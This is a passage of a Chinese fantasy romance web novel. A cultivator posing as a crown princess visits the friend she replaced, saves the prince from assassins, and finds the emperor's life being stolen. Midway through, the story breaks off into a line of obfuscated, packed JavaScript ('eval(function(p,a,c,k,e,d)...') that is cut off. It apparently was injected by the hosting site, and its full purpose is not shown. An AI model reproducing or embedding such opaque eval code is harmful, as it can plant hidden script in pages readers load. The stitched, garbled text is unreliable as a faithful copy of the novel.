他这声请安,让李熹丛闭了嘴,也吓了太子一跳,“太傅这是做什么?蓉儿虽是太子妃,更是您的爱女,行此大礼,倒显得生疏了,你让蓉儿做何想?嫁给本宫,便要和家中恩断义绝?” 太子这话说得有些重,李太傅忙俯身跪下连声称不敢。 太子去扶,又嘱人带李熹丛去换身干爽衣物。 太傅顺势请罪李熹丛殿前失礼,被宽宏待下的太子原谅。 三人演得一出君臣融洽的戏码,无聊得余初晏暗中捂嘴打了个哈欠。 神识探到最初那名暗卫一直在观察她,余初晏在心底叹口气,她还挺喜欢青渊国这只小龙崽的,但恐怕不能在此久待了。 李熹丛看样子不会善罢甘休,晓蓉又回京中,不知她什么打算。 下一个又该去哪个国家,离开前还是先去见见晓蓉罢。 见李家父子离开,余初晏也想回寝殿,再晚些素兰又要念叨很久了,走之前至少多吃上几顿东宫的饭菜。 “蓉儿?蓉儿!”太子连唤几声才让余初晏回神。 “太傅大人也是无心之举,君臣有别,你可别真和父母生分了。”赵景泽自己将家人看得万般重要,所以劝慰太子妃不要计较太傅的疏远。 还有一事太子实在想不通,问当事人:“今日小李大人,究竟是如何落水的?” 余初晏歪头思索,避开了这个问题,反而抿唇问:“太子殿下对谁都如此关心吗?” 太子一怔,忙否认,“怎么可能!只是你是本宫的太子妃,关心你不是应当的吗?” 余初晏点头,那就算晓蓉要回来继续当太子妃,也会得到最好的照顾,那她就可以放心了。 念此,她轻松一笑,“我该回殿用膳了,太子殿下呢?” 太子方才想起午膳这事,原本他打算留太傅用膳,这会太傅父子怕是无心用膳了,便嘱咐下人,打算陪太子妃同用。 “本宫说过你可以直呼名字,一直殿下殿下的,倒叫旁人以为本宫与蓉儿感情不和。” 余初晏:“……”她又忘了问旁人太子的名讳。 望进太子暗含期待的眼神中,余初晏紧张地挠挠掌心。 期待转为失望,又带上些许困惑,太子抿唇不语,难得主动却换来佳人冷落,心中还生出几分恼意。 忽然,余初晏忆起那日皇后曾直呼过两位小殿下的名字,她一把执起太子的手,“阿景!” 应当是这个读音,弟妹名字都带这个发音,长兄肯定也一样。 果不其然,太子面色一红,支吾着左顾右盼,好半天,才低声应下,随即别扭回道:“阿景还不如唤阿泽,不知道的还以为你喊老二呢。” 余初晏松口气,猜对了!原来叫赵景泽啊,这小龙崽真好忽悠。 “嗯!阿泽。” “更不用喊这么大声,本宫听得到……” 5. 怀疑 最近暗中多了好几道窥探的目光,除了余初晏曾在东宫感知过的气息,还有几位陌生的暗卫。 老龙监视她,余初晏不觉得奇怪,反而是小龙崽,没有表现出的那么信任她。 余初晏会安分地待在东宫,老老实实什么都不做吗? 当然不会! 趁着太子出宫办事,余初晏已经神不知鬼不觉出现在京城外天宁寺中,想监视她,再练上百年吧。 头戴帷帽,余初晏与步履匆匆离开的李熹丛错身而过。 后者全然未认出,眼前一身素衣的女子便是他昨日喊打喊杀的妖女。 未惊动旁人,余初晏悄无声息来到厢房,轻叩其中一扇门。 “都说了我绝不会回府,大哥不必再劝我——阿晏!怎么是你!”打开门扉的少女惊呼。 “好久不见,晓蓉!”余初晏单手摘下帷帽,相似的容貌露出微笑。 李晓蓉探身,四处张望,确认没有引起任何人的注意后,才拉着余初晏进屋,反手将门死死关上。 “你怎么来了?你撞见我大哥了吗?”李晓蓉又喜又忧。 桌上还留有旁人用过的杯盏,李晓蓉忙撤下,又四处捣鼓翻出一个新的杯子,想要为余初晏酌水。 端着水杯,却并不喝,余初晏仔细打量李晓蓉,瘦了但长高了,面色更红润了,以往李家后院的晓蓉脸色总是带着病态的苍白。 “大哥将我关在这,说是等事情解决就将我接回府,不过我不愿意。”李晓蓉神色担忧,小心试探,“大哥没为难你吧?” 余初晏想到昨日那几掌,实话实说:“你兄长还没为难我的实力。” “倒是你,是被抓回来的?张聿呢?” 李晓蓉叹口气,“说来话长……” 那日余初晏将两人送至青渊与月凰的交界处,两人又是惊喜又是忐忑,简单商议后,决定离开青渊,前往月凰的一座边陲小城。 月凰很好,李晓蓉在那里见识了许多此前她根本不敢想的事物,女子不强戴帷帽出门,女子亦可袒臂、身着长裤短衫行走于大街。 只是过不了几日,张聿便直呼受不了,坚持要离开。 “月凰那边对男子总归苛刻些,聿郎无法接受,闹着要转道天启。” 李晓蓉顺从他,两人又重返湖州,乘船北上,几日后抵达天启边境。 却不料路上盘缠被偷,被迫滞留于此,两人没有路引,报官不成,只能想些法子赚钱。 李晓蓉当掉自己的银钗,租了间小院子。 “聿郎不愿做账房,只道满身铜臭味,更不愿去当私塾先生,直称教的都是些三教九流之辈。” 说到此时,李晓蓉眉心紧蹙,带上几分嫌恶之意。 自持清高的张聿不愿外出赚钱,李晓蓉只好挑起大梁,在外为人写些书信,起初赚的铜钱并不多。 因着她字迹娟秀,措辞华美,竟引来了边驻军的注意,便那些久未归家的士兵们写些家书,短短一周也赚了不少。 想要和张聿分享她的喜悦,等来的却是对她在外抛头露面的指责。 “我跟他争吵,声称他连月凰国那些只会在家带孩子的男子都不如,他一怒之下离家,再后来被人打成重伤送回来。” 原是张聿在路边听人赌博发了笔横财,便动了歪心思,想要带回银两证明自己,却输得精光,还倒欠赌场白两银子。 若不是李晓蓉机灵,又有余初晏的法术护身,怕是要被他们抓走抵债。 再后来,李晓蓉遇到了李熹丛在江湖中的朋友,便被大哥朋友绑走快马加鞭送回澧都。 至于张聿,李熹丛自始至终没提过此人,故朋友也没有在意。 而李晓蓉本人也在这短短一个月内对张聿死心,他固然是个好人,却无法成为撑起一个家的良人。 听罢,余初晏难得生出愤怒之情,李晓蓉口述很短,其中艰辛怕是更多。 心中恨不得将张聿大卸八块,余初晏嘟囔:“倒是我害你吃了这么多苦头。” 李晓蓉却摇头笑道:“阿晏不必自责,是我所托非人。况且若不是你,我还被困于方寸之地,不知外界之大。” “兄长为了让我回去,肯定会对你做些什么,你当小心。”说着她又郁郁不乐, “若不是我对大哥的朋友不设防,也不会被带回来,让你陷入进退两难的地步,我真是太没用了。” 余初晏摸摸她的头,让她不要自责,李晓蓉性子沉稳,平时总端着成人的架子,时常叫人忘了她不过二八年华,在余初晏看来不过是个孩子。 “我今日来,是想跟你告别的,皇帝和太子都已怀疑我,索性顺着你兄长的意图,将事情都推到我身上,我脱身离开,你李家也能继续安稳地当天子近臣。” 李晓蓉想都不想满口拒绝,“不行!替嫁受益的是我,主谋是我,怎可让你一人承担!” 余初晏歪头,“先不说受益者是我,你怎么承担?你承担,那就是拖家人一起下水,而我孑然一身,无拘无束。” 李晓蓉咬着下唇,离家千里时她不曾落泪,独自在外生存她不曾落泪,此时才深觉自己无力,眼泪悄然落下。 “若非我任性……” “好了,晓蓉,你想太多了。”余初晏重新戴好帷帽,但并未将纱账落下,她站起身,俯视着好友,“凡间能伤到我的少之又少,皇帝又如何?我想离开无人能拦。” 她这话说得狂妄无比,也却有此实力。 “我要走了,等离京前会再见你一面。” 屋外忽然下起淅淅沥沥的小雨,余初晏打开门,走入雨幕中。 雨水在她身边纷飞,却无一滴沾染她身。 “如果你想要离开这间寺庙,记得告诉我,我会帮你。”白纱落下,遮去余初晏的面容,也隐去她的行踪。 李晓蓉痴痴地站在房门口,何时她才能拥有像阿晏那般,肆意行走于世间的能力。 - 时间还早,此时回去也未到晚膳时分,余初晏决定去澧都城中走走。 撑起灵力幻化出的纸伞,澧都不愧是富庶之城,哪怕此时阴雨绵绵,又临近冬日,街上仍然有众多往来的商贩、行人。 青渊国水道众多,土地肥沃,农商皆是三国中最发达的一方。 琳琅满目的商品看得人眼花缭乱,随处可见的民间吃食更是勾动着路人的胃。 不知那些忙碌一整日的百姓是否被吸引,反正余初晏是被吸引到了,东尝西试了不少吃食,还有空两头比较。 这家油饼馅有些少,这家五香糕有些太甜了,这家抄手不错,难怪这么多人享用。 一路从街头用到街尾,余初晏随意地瞥一眼混杂在人群里煞气冲天的几人身上,又很快若无其事的转开视线。 黑中带红,大奸大恶之人,打扮和普通百姓无异,身体紧绷,目光频频流连于内城门的方向,像是再等什么人出现。 习惯使然,余初晏快速分析几人行动,最终得出对自己构不成威胁的结论。 便将他们抛到脑后,再去街尾吃碗馉饳儿?,就该回宫了。 耳尖敏锐捕捉到一阵马蹄声,朝着她所在的街道前行。 马蹄声越来越近,那些人也有了新动作,从人群中消失,不论他们藏在何处,那煞气还是很显眼。 余初晏回头,与马匹一同接近的是熟悉的紫金之气,鲜衣怒马的少年映入眼帘——那些人的目标居然是小龙崽子。 这能忍!余初晏放下筷子,随手留了几枚碎银扔到桌上,足下一踏,直奔煞气所在之处, 素色的身影腾飞时,在雨幕中显得格外显眼,惊起一片呼声。 奔驰的赵景泽勒马急停,蹙眉紧盯着忽然冒出的白衣女子。 而向晖却向前几步,呈保护姿态,挡在太子面前,“殿下,保持警惕,此人身法相当眼熟,恐怕是那日……” 刺客一词还未说出口,向晖余光瞥见一抹银光,那银光速度太快,直奔太子颈侧,此时出剑已经来不及挡下。 电光火石之间,向晖只能用身体阻挡,但比他更快的是一颗金珠。 “锵”的一身,那枚萃毒的暗器偏离原本的路线,往另个方向极速射去,片刻后一名黑衣蒙面人从路旁小楼摔下,已然暴毙。 见有人死亡,原本避让马匹的路人们慌不择路四散奔逃。 身下的马匹不安地打响鼻,在一众侍卫保护下的赵景泽俯身安抚。 同伴死亡并未让刺客退缩,反而从暗转明,想要趁乱击杀目标。 只是等他们冲出藏身之处时,却发现同伴的数量似乎不太对。 蓦地,几具尸首被随意掷下,被众人忽视的白衣女子站在屋顶,受众人仰视。 帷帽遮住了她的容貌,遮不住她清悦的声音,“这点水平也学人行刺,再练个二十年吧。” 形势逆转,刺客当即撤退,借由混乱的人群潜逃。 只留下几名侍卫护身,其他侍卫与暗卫闻风而动追逐上去。 余初晏也顺势隐入暗中。 向晖想追,又担心还有同党在附近,到底没有行动,优先护送太子回宫。 “那人为何帮我们?”赵景泽不解,虽说一开始他们的人都被她吸引了注意,才导致刺客有机可趁。 但细想之下,她那时所朝方向应是刺客藏身处。 “你确定她是那晚宫中的刺客?”这是在问向晖。 向晖神色肃穆,“应当没错,此人身法诡谲,面对十多余暗卫仍可全身而退,连向一都没能碰到她的衣角,短短几日,澧都应该找不出第二人有此身手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管如何,大管事都十分欣慰,这宫中冷清太久,说不定出不了几年东宫就会热闹起来了。 “哈啾!”余初晏打了个喷嚏,素兰立马过来把窗户关上,嘴里嘀咕着:“天冷还窗户大开,染上风寒你就高兴了。” 余初晏揉揉鼻子,修仙之人怎么可能得风寒,怕是被那些黑衣人乱撒的药粉刺到鼻子了。 素兰让小宫女去厨房准备些姜汤,“小姐不爱喝这个,记得多放些蜜糖。” 转头看到余初晏已经坐在桌前,又只好让她顺带催厨房上膳。 窗外雨越下越大,素兰望着地面溅起的水花低声道:“今日也不知殿下是否会来。” “这么大的雨,应该是来不了。”余初晏也望着窗外,神识却探出。 这些暗卫也当得不容易,大雨倾盆也要守岗,横梁被占,另一位只能憋屈地缩在树冠之中。 “幸好今日没有打雷。” 意味不明的感叹引来了素兰的关心,“打雷又如何?” 余初晏站起身,将殿门打开,寒风倒灌进来,吹得她衣袖纷飞。 “打雷的话,我们太子殿下应当就不会来了。” 门外,赵景泽执伞而立,玄色的袍角已然被泥水浸湿,平日里一丝不苟束好的黑发,凌乱地落了几缕在鬓边,略显狼狈。 而余初晏着大红的太子妃常服,发髻端庄,一身干爽。 她朝小龙崽伸手,“阿泽怎么弄成这幅模样?快进来喝碗姜汤。” 赵景泽握住那只干燥而温暖的手,顺势进到殿内,两人离得很近,近到赵景泽能嗅到浅淡的檀香,是宫中常用的熏香。 哪怕那白衣女子速度再快,断不可能在两刻钟内回到东宫、换下衣裳、洗去血腥味、烘干身体、染上熏香。 所以那不是他的太子妃,赵景泽松了口气,眉间不自觉带上笑意,“本宫不请自来,希望蓉儿能赏口饭吃。” 余初晏在素兰的眼神明示下,拿过帕子,像擦小狗一样,胡乱地给赵景泽擦了擦脸。 也不知是帕子材质太粗劣,还是龙崽子细皮嫩肉的,手下的皮肤越擦越红,都快滴出血了。 她忙摸了摸太子的额头,也没染上风寒啊。 推他去换下淋湿的衣服,想到厨房在煮她不爱喝的姜汤,心生一计,“多喝姜汤,幸好素兰喜欢让人煮这玩意。” 又关心了太子,又解决了姜汤,一举两得。 平生最厌恶姜汤的赵景泽:…… 面对太子妃亲自端来的满满一大碗姜汤,沉痛地一饮而尽——这甜得发齁的姜汤,是要毒死他吗?! 6. 窃命 这雨下过后,澧都正式步入寒冬,温度骤降。 哪怕燃着碳火,素兰还是冷得手脚僵硬,再看余初晏还是一身秋装,冷暖不自知的模样。 外出散心时,素兰还是强迫余初晏围上披风,才放心让她出门。 在水榭,余初晏又看见了李熹丛,站在池塘另一岸,阴测测地望来。 此人不在翰林院当值,又来东宫做什么,余初晏朝他挥手,确认他看到后,做了个挥掌的动作。 直把人气得转身就走。 余初晏翻白眼,李熹丛如此作为,她又何必继续伪装。 深怕别人不知她身份有问题,真叫人去查了,首当其冲的可不是他李家。 到底沉不住气,还不如晓蓉沉稳。 暗卫显然将两人互动记在心里,等传到皇帝耳中,不知会惹出什么乱子。 这些天太子频繁离宫,余初晏偷偷跟上观察了一次,一行人直奔郊外山中的道观,临近傍晚快马加鞭赶回。 刺杀之事才过去两日,定有更重要的事,才让太子不顾自身安危离京。 不过这与余初晏无关,除了每日给皇后请安、日常修炼、糊弄暗中观察的暗卫、看些凡间杂书,她也没什么可做的。 又一日过去,余初晏照旧同皇后和两位小殿下用过早膳后准备回东宫,不得不说皇后宫中的吃食比东宫的更丰盛,可惜在外人面前,她吃得不多。 才出凤仪宫不久,就被人拦下,说是陛下召见。 拦她之人,虽是名太监,但周身蓝气旺盛,看功力远是李熹丛不能及的程度。 而余初晏身后狭小的宫道暗处,还隐藏着几位与他实力相当的高手。 素兰被这太监阴鸷的眼神看得心里发慌,下意识挡在余初晏面前。 “别紧张,素兰。”余初晏淡然一笑,“只是陛下召见而已,还请公公带路。” 灰衣太监深深看一眼余初晏,躬身做出邀请的姿态。 余初晏还未在皇宫中逛过,途经内廷时,随处可见斑驳的黑气。 但仔细观察,不少宫殿房檐下的精心雕制的雕花中,都暗藏稀释煞气、保平安的图案。 不过这些图案作用有限,久居宫中还是会邪气入体,久积不病也疯,难怪历代皇帝都不长命。 到了御书房,余初晏将素兰和一众随从留在了殿外,灰衣太监并未多言,看他眼神并未将余初晏放在眼中。 踏入书房中,大门在她背后轻轻合上。 屋内除了灰衣太监,还有四位高手,分别藏于房中四个角,门外侍卫众多,但足以引起余初晏重视的寥寥。 看来皇宫之中,还是存在真正有实力、在凡人中称得上顶尖之人。 除次之外,太傅李大人与其子李熹丛也在房中,跪于御案前,李大人眼中暗含愧疚,李熹丛则一副小人得志的嘴角。 早知事情会暴露,余初晏并不慌张,目光直直望向御书房最上首。 皇帝端坐于御案之后,身边还有位身宽体胖的宦官,见余初晏走到皇帝跟前不仅不行礼,还四处张望,他尖声斥道:“大胆!见到陛下为何不跪!” 余初晏不仅不行礼,更是没分出一个眼神,直截了当问:“陛下找我所为何事?” 如此情境之下,这般作为,李熹丛都不知该说这妖女是过于狂妄,或是初生牛犊不怕虎。 不管如何,今日过后,隐患再无,他李家还是百姓口中的忠顺世家,陛下身边的股肱之臣。 皇帝本对李家父子所言心有怀疑,父子两言辞不一,一人道替嫁之事全是其女所谋,只因心有所属,不愿嫁入东宫, 另一人却道假太子妃身份不明,武力高强,更是掌握妖法,故意潜伏于太子身边别有所图。 加之他之前见余初晏虽性子胆大妄为了些,但眼神清澈、气息淳和,不像是心思险诈之人。 但从余初晏踏入御书房后的表现,无论是毫不掩饰看破隐藏大内高手的目光,还是见到李家父子后了然的眼神,无一让皇帝心中微沉。 欺君是真,身份不明是真,不敬皇权也是真,实力高强更是真,又有行刺太子的前例。 若是以往,皇帝还会采取温和些的手段,弄清此人来历与目的后再行事。 而今他命不久矣,断不能放任来历不明之人待在太子身边,威及国祚。 哪怕错杀,也不能放任,皇帝微微抬手。 大内高手动了,余初晏也动了。 躬身一跃,躲过擒拿,身形舒展,大袖随身而动。 宽厚的大袖不是她的束缚,反而成为她的武器。 以袖为盾拂开左侧的攻击,右袖一转,遮住后方攻击者的视线,让两方攻击撞作一团。 她像只轻盈的鹤,身处四面八方的攻击中也能翩翩起舞。 灵力环绕在她身边,余初晏没有利用它们反击,只用来防守。 在灵力加持下,她的速度快到常人无法捉摸,哪怕强如大内高手也难以追上,何况他们还要顾虑皇帝和其旁边的几位。 一直未能拿下余初晏,几人心中焦灼。 忽而其中一人长刀出窍,凌厉的刀气斩坏了不少房内的物件,还削去了余初晏一小缕碎发。 余初晏怒了,她一直周旋防御,只因还没到必须杀人的地步,这群人却不依不饶,非要将她伏诛。 皇帝稳坐于灰衣太监的保护之下,哪怕几次差点被内力波及,仍面不改色。 太傅与李熹丛也在其附近,神色各异。 余初晏明白,只有拿住命脉,这些人才会停手。 她随意取下一支发间的金钗,腕间发力射向皇帝。 同时低身扭过左右攻击,腿却用力一扬,足跟狠狠踢中持刀者的手腕,力道之大,震得他手骨几俞粉碎,长刀脱手而出。 那长刀飞旋,竟落到余初晏手中,几人暗道不好,想阻拦她已经来不及。 灰衣太监甫一挡开金钗,余初晏已经近在眼前,她用刀背狠狠将其振退。 脚尖勾过御案,旋身砸进追上来的大内高手怀中,案上的砚台笔墨、奏折书画摔了一地。 这些动作一气呵成,等皇帝反应过来想躲,那削铁如泥的长刀已经横在他颈间。 房中所有人的动作都被按下静止符,原本快躲到御案底的总管太监,被余初晏顺势一脚踢开,撞到李熹丛身边,却还哆嗦着上前想要保护皇帝。 “能让他们安静会吗?”余初晏一手稳稳拿着刀,一手转悠着不知何时回到她手中的金钗。 青渊帝不语,目光沉着与余初晏对视,仿佛被捏住命门的并不是他。 环视四周,虽然她拿住了王,牵制了大内高手,但他们眼中杀意更甚,俨然没有彻底停手的意思。 余初晏不能杀死皇帝,她承受不起巨大的因果。 现在这局面,倒是弄得她有些骑虎难下了,面上不显,她选择和皇帝谈判, “你太自信了。”她说,“你将面见我的地点选在这里,就是认定了哪怕我确有图谋不轨,四个人也足够将我伏诛。” 皇帝低估了余初晏,这狭小的书房又束缚了侍卫的手脚,若是在大空地余初晏还真不能保证不动用灵力的情况下,在这么多人保护中拿下皇帝。 青渊帝终于肯开尊口,“你不会杀我,你的眼中未有杀意。” 余初晏不甚在意,“我确实不会杀你,因为赵景泽和皇后待我不错,但以你为质,逃离此地还是做得到的。” 听到太子与皇后,皇帝有片刻的怔愣,随即闭上眼,打定注意不可让余初晏活着。 正当他准备下令,不用顾及他,全力诛杀此女之时,却听余初晏道:“之前见你的时候就觉得奇怪了,明明三庭均匀、耳垂丰满,当是长寿之相,却隐隐带有五衰之趋。” 她清澈的眼中明晃晃写着疑惑不解,死气也比几日前所见更加深厚,快要彻底盖住真龙之气了。 “你该不会,被人窃命了罢?” 只是谁敢窃取帝王命运,此等逆天之举,稍有不慎就是万劫不复。 师尊曾道此界修真者已经寥寥无几,看来她运气不错,这么快就遇到同行,虽然这位同行癫狂且大胆。 “你究竟是何人?又有什么目的?”青渊帝沉声道,语气中带上几分急切与心忧。 那总管太监又扑倒余初晏脚边,这一次却是祈求的姿态,“陛下可是被诅咒了?您可有法子破除?若您愿施以援手,咱家……咱家便一命抵一命罢!” 说话间,太傅也跪于余初晏面前,连那些大内高手都卸了力,面露恳求,长跪不起,只盼着余初晏能救皇帝一命。 事情发展成这样,余初晏也是一楞,手中的长刀却不知该不该放下。 皇帝长叹一声,“得卿如此,夫复何求,朕早知命数已尽,卿当全力辅佐太子,也算了却朕一桩心愿。” “陛下 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余初晏心中考量众多,她才不傻,老龙死了,赵景泽当皇帝,她换个国家换个太子吸就是了,何必做这种吃力不讨好的事。 “你当如何?”青渊帝放软声音,帝王骄傲让他无法像下属般屈膝,但为保社稷,他还是低下了头,“无论……小仙想要什么,朕当举国之力完成,只要能够破除诅咒。” 余初晏不如何,她单纯不想救,横竖不是她窃取龙脉,天道再怎么样也罚不到她头上。 念此,屋外忽然传来雷声阵阵,巨大的轰鸣让天瞬间暗沉无光,宛如黑夜。 余初晏:……不是吧,老天要将这算在她头上? 这狗屁天道! 一道雷猛地劈中屋顶上的脊兽,惊雷在耳边炸响,众人皆惊慌,唯有余初晏一脸倔强,傲然瞪视屋顶,有本事劈死她,她死都不救! 青渊帝颓然,他本可坦然接受死亡的命运,绝望之中却看到希望,只是这希望似乎被他掐灭在了手中。 良久他对余初晏道:“你走罢,先前是朕之过,万不该跳过律法,直接动手诛杀于你。国难将至,只盼小仙能看在太子赤忱之心的份上,将来危难时刻帮他一把。” 说罢真就不再看余初晏,下令让宫人收拾残局,转身离去。 太傅欲言又止,李熹丛心有不甘,大内高手又重新隐没黑暗之中,总管太监哭哭啼啼跟上皇帝。 唯留下余初晏与一地狼藉。 窗外天雷滚滚,雨下得很大,余初晏于廊前张望了会,御驾步履匆匆,看方向应是朝着凤仪宫去了。 小太监过来,躬身递来一把油纸伞,只道步辇已经等在殿外。 太傅父子没有坐步辇的权力,接过太监手中的伞后,准备走着离开。 太傅忽然问道:“是老身高攀,却也曾受过小仙高堂一拜,老身可否知晓小仙从何处而来,又要去往何处?” 太傅口中一拜,确有此事,大婚那日余初晏装作晓蓉,替她拜别了父母。 虽说李熹丛是小人,太傅对她还算不错,余初晏想了想回:“我从玉虚山而来,既然晓蓉已经回来了,想来我也不会在青渊国久待,下一站大抵是天启国。” 听到玉虚山,太傅却是变了脸色,忙追问:“玉虚山?!小仙与国师……无双大人可相识?” - 雷声未曾停歇,李家父子行走于宫墙之间,寒意顺着袍角浸染身体,今年的冬天怕是比往年要更冷上几分。 李熹丛眉间染煞,也不顾宫中隔墙有耳,沉声道:“既然妖女知晓救助陛下的法子,为何陛下不全力拿下她,用手段逼她破除,反而放她离去?” 李太傅一脸惊骇,“此话不可再说!以后更不可对小仙不敬!待明日,整理些礼单,去向小仙赔不是。” 李熹丛还年轻,未曾见过修真者扰乱凡间之势,那强悍到可以改天换日的力量,将万物视为蝼蚁的傲慢。 若非国师拯救苍生于水火之间,哪有如今三国鼎盛,百姓安居乐业之景。 小仙是国师之徒,与青渊国关系匪浅。今日哪怕他们逼迫在先也未曾伤过任何人,陛下想必也是抱着与其交好的心态,放任她自行离去。 李太傅心中忧虑,如今又有修真者暗中掀起混乱,这一次,没有国师的他们,又该如何度过这般危机。 7. 樊笼 “阿晏小姐,太子殿下又来了。”素兰隔着窗偷偷看见雨中打着伞的太子,手中还提着食盒。 转头又小心觑着余初晏的脸色。 “不见,不见。让他赶紧走——食盒留下。” 余初晏这几天倒霉透顶,不说好好走在路上都有可能被雷劈中,喝水被呛,吃东西被噎,对她来说这都不算事。 另她心烦的是灵力像是一夕之间成了负心汉,各个不再亲近她,还帮可恶的天道阻碍她吸收紫气。 尤其太子天天在她面前晃悠,紫气可见不可吸。 反正太子来,无非就是求她出手救治皇帝,余初晏索性将他关在殿外不见他。 素兰出去将食盒拿进来,都是些京中最受欢迎的点心果子,太子连着送了三日了。 也不知那日在御书房发生了什么,回来后几日,余初晏既不进宫请安,也不见太子,每日只在院中走两圈,其他时间都在殿内窝着。 这些天日头不好,每日雷声不断,雨水连绵。 殿内燃着金丝炭,温暖如春,只因素兰刚刚外出一小会,寒风涌入,温度都降了几分。 宫中无事可做,修炼又滞怠,余初晏用完点心,决定去天宁寺,“我要去见晓蓉,你要一起吗?” 素兰动作一顿,她此前已经知道李晓蓉归京,只是李晓蓉离开前曾对她说从此她只需专心服侍阿晏小姐,素兰明白她是被小姐抛弃了。 此时却是不知该以什么神情如何去见小姐。 “我看你天天惦念晓蓉,想见就去见,何故这般犹豫?” 素兰别扭,“小姐选择了张聿少爷,就不要我了……” 余初晏懒得听她多话,提溜着她,正大光明地在暗卫注视下离开东宫。 - “什么!她就这么出宫了!”赵景泽笔一搁,什么处理公文的心思都没了,急忙指挥汇报的暗卫,“她是不是要走了?你去听荷殿看看,她带了行囊没?” 向晖直言:“她便是离开,属下也拦不住,不如听之任之。” 赵景泽三日前才得知替嫁一事,刚得知那会先是愤怒,他堂堂一国太子,居然被人嫌弃了。 在当时最重要的还是父皇的身体,哪怕再恼,赵景泽还是压下,转而关心父皇。 父皇只道找到解决方法了,让他不用再操心此事,先想想太子妃一事。 赵景泽追问什么方法,何人能解决,却被避开不谈,连母后都让他不用再管,多帮父皇分担政务即可。 看皇帝也没有严惩李家的意思,只罚了一年俸禄,更没有换回太子妃,反而让赵景泽自己看着办。 赶走赵景泽前,还告知太子妃就是夜里曾经“行刺”过他,之前又保护过他的高手刺客。 赵景泽简直脑子都不够用了,还没等他找“假”太子妃兴师问罪,先吃了几天闭门羹。 “你说本宫都没生气,她生什么气!见都不见本宫,东宫也是说走就走!” 赵景泽越想越气,忙碌一天跑回家却被人告知:你媳妇不是你媳妇,这谁听了不傻眼,不生气。 下属对他的脾气早有认知,各做各的,任由太子发火宣泄。 “你说她实力一流,平白无故地嫁到东宫来做什么?有把柄在李家人手里?也不像啊,看李熹丛对她的态度,落水那次还想当场戳穿吧……” 赵景泽不傻,仔细回想这些日子李家人对“假”太子妃的态度,怎么看怎么像大婚前不知情,知道后又在找太子妃茬。 向晖在保养他的长刀,锃亮的刀面反射出他不耐地眉眼,“殿下,您已经碎碎念整个上午,若是无事,属下该去练武场了。” 赵景泽:“……本宫不准你走!”屋外雨声阵阵,练什么武,向晖就是嫌他烦! “父皇又是什么意思,他到底是想把真正的李晓蓉接回宫里,还是将错就错,就这样算了——本宫都不知道她的名字,你说她到底是什么人?” 向晖打了几次手势暗号,那帮屋顶上的暗卫没有一个下来,各个装模作样在四周巡视。 太子聒噪起来没完没了,向晖心道不能这么下去了,再听下去,耳朵都要长茧了。 遂反问:“殿下您不是心悦昭华郡主,何必对其他女子如此上心?” 向晖口中的昭华郡主,正是皇后宋瑛的侄女宋峥,比太子年长三岁,一年前就已成家。 太子心慕对方多年,郡主却只将太子当做自家弟弟,与指腹为婚的未婚夫感情和谐,对方考取功名就成婚,琴瑟和鸣的一对璧人。 赵景泽先是狐疑,“本宫何时心悦……” 听完后却像是被踩了痛脚,声调抬了一个度,“谁说本宫关心她了!她欺君在先,还不让本宫知悉内情吗?” 宫人又进来添了次炭火,地龙烧得旺盛,衬得他那通红的耳垂格外显眼。 “既然您这么在意,不如直接去问,横竖不会是因为爱慕您才嫁进来的。”向晖冷嗤,准备亲身去逮来两只小兔崽子,顶替他承受太子的“厚爱”。 “向一!”赵景泽却是先一步将暗卫喊进,“给你半个时辰,探查出太子妃去往何处了,替本宫备车!本宫今日就要问清楚!” 见他目光坚定,不似开玩笑,向一垂首领命,迅速消失在雨中。 练武是不成了,向晖召集侍卫,整装待发。 天空隐隐有放晴之兆,太子穿戴好斗笠蓑衣,口中高呼着向晖。 后者勒马跟上,望着阴沉的天,向晖暗道:太子少不更事,怕是根本分不清什么情爱,自己内心都看不明白的人,活该日后受罪。 - 素兰晕头转向地被带到寺庙,脚踩到实地差点摔倒,余初晏给她提起来,找了根柱子让她靠着。 “你太瘦了,拧起来和只鹤差不多。” 以前玉虚山时不时会有鹤去水池偷吃师尊养的灵藕,余初晏得负责将它们赶走,不然师尊会难过很久。 素兰也不知该疑惑余初晏为什么拧鹤,还是先心疼自己。 听到屋外的动静,李晓蓉已经先一步打开门相迎,“阿晏!” 她手中还捧着未完成的刺绣,笑容明媚,“素兰也来了,快些进来!” “小姐……”素兰嗫嚅,还未行礼,就已经被李晓蓉拉进房间里。 这间厢房虽小,但五脏俱全,不少家具显然是李家后来添置的。 房中燃着炭,并不旺,还有明显的烟尘,窗户开着一侧通风,冷气直冒。 李晓蓉本人不甚在意环境,兴冲冲地拿出她这些日子绣的荷包送给余初晏。 素兰却是越看越心酸,李家虽说勤俭,但皇家对待属臣向来大方,尤其冬日,过冬物资不断。 夫人也是官家之后,小姐是太傅老来得女,宠在心尖上的明珠,何时受过这种待遇。 李晓蓉又带着另一枚荷包来到素兰面前,想要替她戴上,“特意为你绣的兰花,也不知你在阿晏身边绣工可有进步。” “哪有小姐给丫鬟绣荷包的!”素兰推拒。 但李晓蓉动作强硬,硬是强塞给她,口中还念叨着,“胖了些,东宫的膳食应当是极为不错的。” 积压的委屈一下爆发,素兰眼泪决堤,边哭边嚷嚷,“那阿晏小姐……还说我太瘦了!” 余初晏:“……”实话实说怎么还能把人惹哭? “小姐……您怎么能住这种地方啊?就这种炭,东宫下人都不用!呜呜呜呜!” 李晓蓉忙拿着手帕替她拭泪,好言好语安慰一番。 余初晏握着手里的杯子,无聊地左看右看,捏了法诀将空气中难闻的烟尘祛除。 见主仆两人还在互诉衷肠,她哑然一笑,拨弄两下腰间新制的荷包,放轻动作,悄然将门打开。 屋外的妇人,发梢犹带着风雨,见到门被打开微愣,随即露出笑容,“阿晏也在啊。” 是李家夫人,李晓蓉的母亲,林晚,以及她的贴身婢女。 “不知今日夫人也会来,叨扰了。”余初晏让开身位,让两人进内。 见林氏到来,素兰整理情绪,向她行礼,李晓蓉也赶忙引着母亲坐下。 侍女收了伞,抱着大包袱落在后面一些,余初晏搭了把手,重量很可观。 天宁寺在一座低矮的山头,虽说不高,但马车难以上来,必须下车步行登台阶。 两名身形单薄的女子,在冬日,打着伞,提着重物上山,想必极为不易。 “娘!都说下雨不用来,您可真是,染上风寒了可怎么办?”李晓蓉却不知今日她这小房间这么热闹,翻出新的帕子,要替母亲擦干湿发。 